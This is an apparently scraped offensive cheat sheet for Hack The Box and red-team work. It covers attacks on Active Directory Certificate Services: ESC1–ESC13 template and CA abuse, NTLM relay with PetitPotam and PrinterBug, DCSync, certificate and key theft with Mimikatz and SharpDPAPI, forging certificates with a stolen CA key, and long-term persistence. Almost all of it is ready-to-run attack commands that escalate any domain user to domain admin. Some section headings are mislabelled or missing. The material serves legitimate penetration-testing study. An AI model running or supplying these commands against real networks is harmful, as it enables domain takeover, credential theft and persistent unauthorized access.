Active Directory Certificate Services (ADCS) is Microsoft's PKI implementation inside AD. It issues
X.509 certificates used for:
Authentication (logging in with a cert instead of a password)
Code signing, EFS, SSL/TLS
Smart card logon
Why it matters for HTB/Red Team: A misconfigured ADCS can allow any domain user to
obtain a certificate that impersonates a Domain Admin, then use that cert to get a Kerberos TGT and dump hashes.
Key Concepts
bash
CA (Certificate Authority) — The server issuing certificates (usually a DC or dedicated
server)
Certificate Template — Blueprint defining what a cert can do, who can request it
EKU (Enhanced Key Usage) — Defines allowed uses: Client Auth, Code Signing, Any Purpose...
SAN (Subject Alternative Name) — Alternative identity in the cert (can be set to any user)
PKINIT — Kerberos extension allowing cert-based authentication
UPN (User Principal Name) — user@domain.htb — used to map cert to AD account
:: Full enumeration
.\Certify.exe find
.\Certify.exe find /vulnerable
.\Certify.exe find /vulnerable /currentuser
:: List CAs
.\Certify.exe cas
:: List templates
.\Certify.exe templates
:: List enrollment endpoints
.\Certify.exe find /showAllPermissions
# Custom queries to add in BloodHound (after uploading Certipy bloodhound
zip):
MATCH (n:GPO) WHERE n.type = 'Certificate Template' and n.Enabled = true RETURN n
MATCH p=(g)-[:Enroll|AutoEnroll]->(n:GPO) WHERE n.type = 'Certificate Template' and n.Enabled = true RETURN p
MATCH p=shortestPath((g:Group)-[r*1..]->(n:Computer {unconstraineddelegation:true})) WHERE g.name =~ 'DOMAIN
USERS.*' RETURN p
ESC1 — Misconfigured Certificate Templates
What Makes It Vulnerable
All three conditions must be true:
Manager approval disabled (no human review required)
Enrollee can specify a SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set)
Certificate enables client authentication (EKU includes Client Auth, PKINIT, Smart Card
Logon, or Any Purpose)
A low-privileged user has write permissions over a certificate template
(GenericWrite, WriteDACL, WriteOwner, FullControl). This allows modifying the template to introduce ESC1
vulnerabilities.
Detection
bash
certipy-ad find -vulnerable -stdout
# Look for: ESC4# Shows which principal has write access to the template# Certify (Windows)
.\Certify.exe find /showAllPermissions
# Look for non-admin users with write/fullcontrol on a template
The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set on the CA
itself (not on a specific template). This flag allows any certificate request to specify a SAN,
even if the template doesn't explicitly allow it.
Detection
bash
certipy-ad find -vulnerable -stdout
# Look for: ESC6# [!] CA Permissions# [!] EDITF_ATTRIBUTESUBJECTALTNAME2 : Enabled# Certify
.\Certify.exe cas
# Look for: EDITF_ATTRIBUTESUBJECTALTNAME2 set
Exploitation
bash
# Can use ANY template with Client Auth EKU — even the default "User"
template
certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template User -upn administrator@domain.htb -dc-ip $DC
certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC
# Certify + Rubeus (Windows)
.\Certify.exe request /ca:CA-SERVER\CA-NAME /template:User /altname:administrator
# Convert and use with Rubeus as shown in ESC1
ESC7 — Vulnerable
CA ACL
What Makes It Vulnerable
A low-privileged user has ManageCA or ManageCertificates rights on
the CA object itself.
ManageCertificates → can approve pending certificate requests
ManageCA → can change CA configuration, including enabling EDITF_ATTRIBUTESUBJECTALTNAME2 (→ ESC6)
Detection
bash
certipy-ad find -vulnerable -stdout
# Look for: ESC7# [!] CA Name : domain-CA# [!] Permissions# [!] ManageCA : compromised_user# Certify
.\Certify.exe cas /showAllPermissions
Exploitation — ManageCA → ESC6
bash
# Step 1: Enable EDITF_ATTRIBUTESUBJECTALTNAME2 using ManageCA
rights
certipy-ad ca -u user@domain.htb -p 'pass' -ca CA-NAME -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2 -dc-ip $DC
# Step 2: Now exploit as ESC6
certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template User -upn administrator@domain.htb -dc-ip $DC
certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC
The CA has a web enrollment endpoint (http://CA-SERVER/certsrv) that supports NTLM authentication and does not require
HTTPS or enforce Extended Protection for Authentication (EPA). NTLM authentication can be relayed here.
Detection
bash
certipy-ad find -vulnerable -stdout
# Look for: ESC8# [!] Web Enrollment : Enabled# URL : http://ca-server/certsrv/# Manual check
curl -I http://$CA_SERVER/certsrv/
# If it returns 401 with NTLM → vulnerable
nmap --script http-auth-finder -p 80,443 $CA_SERVER
Exploitation
bash
# Step 1: Start ntlmrelayx — relay to the CA web enrollment# For a standard DC cert (gets DC auth cert):
impacket-ntlmrelayx -t http://$CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# For a user cert:
impacket-ntlmrelayx -t http://$CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs --template User
# Step 2: Trigger NTLM authentication from a target (DC)# PetitPotam (no auth — forces DC to authenticate)
python3 PetitPotam.py $LHOST $DC
# PrinterBug (impacket)
impacket-printerbug domain.htb/user:pass@$DC $LHOST
# Coercer (covers PetitPotam + PrinterBug + 10+ methods)
coercer coerce -u user -p pass -l $LHOST -t $DC
# Responder (for users)
responder -I tun0 -rdwv # then socially engineer user to access \\$LHOST\share# Step 3: ntlmrelayx captures the authentication and requests a cert# Output: Got certificate! Saved to: DC$.pfx (base64 printed in terminal)# Save the base64 to a file and decode:
echo "BASE64==" | base64 -d > DC.pfx
# Or certipy-ad can relay directly:
certipy-ad relay -ca $CA_SERVER -template DomainController
# Step 4: Authenticate with the DC certificate (PKINIT)
certipy-ad auth -pfx DC.pfx -domain domain.htb -dc-ip $DC
# Gets: DC$'s NTLM hash + TGT# Step 5: DCSync with the DC machine account hash
impacket-secretsdump -hashes :DC_NTLM_HASH 'domain.htb/DC$'@$DC
The template has CT_FLAG_NO_SECURITY_EXTENSION — the issued cert
doesn't embed the SID of the requesting user. Combined with ability to change UPN, allows impersonation.
bash
# Requirements: GenericWrite on a user account + ESC9 template
available# Step 1: Change target user's UPN to administrator's UPN
certipy-ad account update -u attacker@domain.htb -p 'pass' -user victim_user -upn administrator -dc-ip $DC
# Step 2: Request cert as victim_user (the UPN now maps to administrator)
certipy-ad req -u victim_user@domain.htb -p 'victimpass' -ca CA-NAME -template ESC9Template -dc-ip $DC
# Step 3: Restore victim user's UPN
certipy-ad account update -u attacker@domain.htb -p 'pass' -user victim_user -upn victim_user@domain.htb -dc-ip $DC
# Step 4: Authenticate with cert (maps to administrator due to UPN)
certipy-ad auth -pfx victim_user.pfx -domain domain.htb -dc-ip $DC
ESC10 — Weak Certificate Mapping
Registry key CertificateMappingMethods has bit 0x4 set (Subject) or
StrongCertificateBindingEnforcement = 0. Similar to ESC9 but abuses the DC's cert mapping.
bash
# Same approach as ESC9 — check certipy-ad output for ESC10 flag
certipy-ad find -vulnerable -stdout
# If ESC10: follow same UPN swap technique as ESC9
ESC11 — Relay
ICPR
What Makes It Vulnerable
The CA's RPC interface (\pipe\cert) does not enforce signing,
allowing NTLM relay over RPC (port 135/445) to the CA.
bash
# Detection
certipy-ad find -vulnerable -stdout
# Look for: ESC11 — Enforce Encryption for Requests: Disabled# Exploitation — relay via certipy-ad
certipy-ad relay -ca $CA_SERVER -template DomainController -target rpc://$CA_SERVER
# Trigger auth same as ESC8 (PetitPotam, PrinterBug, etc.)
python3 PetitPotam.py $LHOST $DC
# Then authenticate with obtained cert
certipy-ad auth -pfx DC.pfx -domain domain.htb -dc-ip $DC
ESC13 — OID Group
Link
What Makes It Vulnerable
A certificate template links to a group via an OID (issuance policy). When a user requests a cert
from this template, they inherit the group's permissions — even if they're not actually a member.
bash
# Detection
certipy-ad find -vulnerable -stdout
# Look for: ESC13# Group Linked: high-privilege-group# Exploitation
certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template ESC13Template -dc-ip $DC
# The cert includes OID linking to high-priv group# Authenticate — you'll have the group's permissions
certipy-ad auth -pfx user.pfx -domain domain.htb -dc-ip $DC
:: Export current user certs (with private key if marked exportable)
certmgr.msc :: GUI
:: PowerShell — export all user certs
Get-ChildItem Cert:\CurrentUser\My -ExportType Pkcs12 | Export-PfxCertificate -FilePath C:\Temp\certs.pfx
-Password (ConvertTo-SecureString "pass" -AsPlainText -Force)
:: Via Mimikatz (even non-exportable certs)
.\mimikatz.exe
crypto::capi
privilege::debug
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
:: Saves to current directory as .der files
:: SharpDPAPI (extract cert private keys via DPAPI)
.\SharpDPAPI.exe certificates /mkfile:masterkeyfile
Persistence
via Certificates
Why Certs Are Great for Persistence
Certificates are valid for their full lifetime (1-2 years typically), don't change
when a user changes their password, and are harder to detect than golden tickets.
bash
# Request a cert for a DA (after compromise) — persists for years
certipy-ad req -u administrator@domain.htb -p 'pass' -ca CA-NAME -template User -dc-ip $DC
# Store administrator.pfx securely# Even after password reset, the cert still authenticates
certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC
Forge Certificates with CA Key
(Post-Full-Compromise)
bash
# If you have the CA private key (from compromised CA server):# Extract CA cert and key with Certipy
certipy-ad ca -backup -u administrator@domain.htb -p 'pass' -ca CA-NAME -dc-ip $DC
# Saves: CA-NAME.pfx# Forge any certificate offline (no network needed)
certipy-ad forge -ca-pfx CA-NAME.pfx -upn administrator@domain.htb -subject
'CN=Administrator,CN=Users,DC=domain,DC=htb'
# Saves: administrator_forged.pfx# Authenticate with forged cert
certipy-ad auth -pfx administrator_forged.pfx -domain domain.htb -dc-ip $DC
Steal CA Private Key via DPAPI
bash
# From Windows (as admin/SYSTEM on CA server)# SharpDPAPI
.\SharpDPAPI.exe certificates /machine /mkfile:C:\Temp\masterkeys.txt
# Mimikatz
.\mimikatz.exe
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
Quick Attack
Decision Tree
bash
Got domain user creds?
│
▼
certipy-ad find -vulnerable
│
├─► ESC1/ESC2/ESC6 ──► certipy-ad req (specify admin UPN) ──► certipy-ad auth ──► DOMAIN ADMIN
│
├─► ESC3 ──► Request agent cert → use to enroll as admin ──► certipy-ad auth ──► DA
│
├─► ESC4 ──► Modify template to ESC1 ──► certipy-ad req ──► certipy-ad auth ──► DA
│
├─► ESC7 ──► ManageCA: enable EDITF flag → ESC6 path
│ ManageCerts: approve pending → get cert ──► DA
│
├─► ESC8/ESC11 ──► NTLM relay (PetitPotam/PrinterBug) → relay to CA ──► DC cert ──► DCSync
│
└─► No ESC found?
│
├─► GenericWrite on user/computer? ──► Shadow Credentials (pywhisker) ──► certipy-ad auth
│
└─► Check BloodHound for cert-related edges: Enroll, AutoEnroll, WritePKIEnrollmentFlag
Common Issues &
Fixes
bash
# "Clock skew too great" error
sudo ntpdate $DC # sync time with DC
sudo timedatectl set-ntp false
sudo timedatectl set-time "$(date -d @$(sudo net time -S $DC | awk '{print $NF}') '+%Y-%m-%d %H:%M:%S')"
# KRB5 errors
export KRB5CCNAME=/full/path/to/ticket.ccache
# Check /etc/krb5.conf has correct realm:
[realms]
DOMAIN.HTB = { kdc = $DC }
# Certificate auth fails with "KDC_ERR_PADATA_TYPE_NOSUPP"# The DC doesn't support PKINIT (rare but possible)# Try using NTLM hash instead (obtained via certipy-ad auth still gives hash even if Kerberos
fails)# "Certificate unknown" or "Not trusted"# CA cert not trusted by the DC — try adding -ldap-channel-binding flag
certipy-ad auth -pfx cert.pfx -domain domain.htb -dc-ip $DC -ldap-channel-binding
# Certipy "Failed to get TGT"# Try with explicit username
certipy-ad auth -pfx cert.pfx -domain domain.htb -username administrator -dc-ip $DC
# Template not found# Verify CA name exactly:
certipy-ad find -u user@domain.htb -p pass -dc-ip $DC -stdout | grep "CA Name"
# Request fails with "CERTSRV_E_TEMPLATE_DENIED"# User doesn't have enrollment rights on that template# Check: certipy-ad find output — look for your user/group in Enrollment Rights
🔒 Built for HTB by 0xRoot | ADCS Attacks AppendixUse responsibly on authorized
systems only — HTB & authorized engagements only.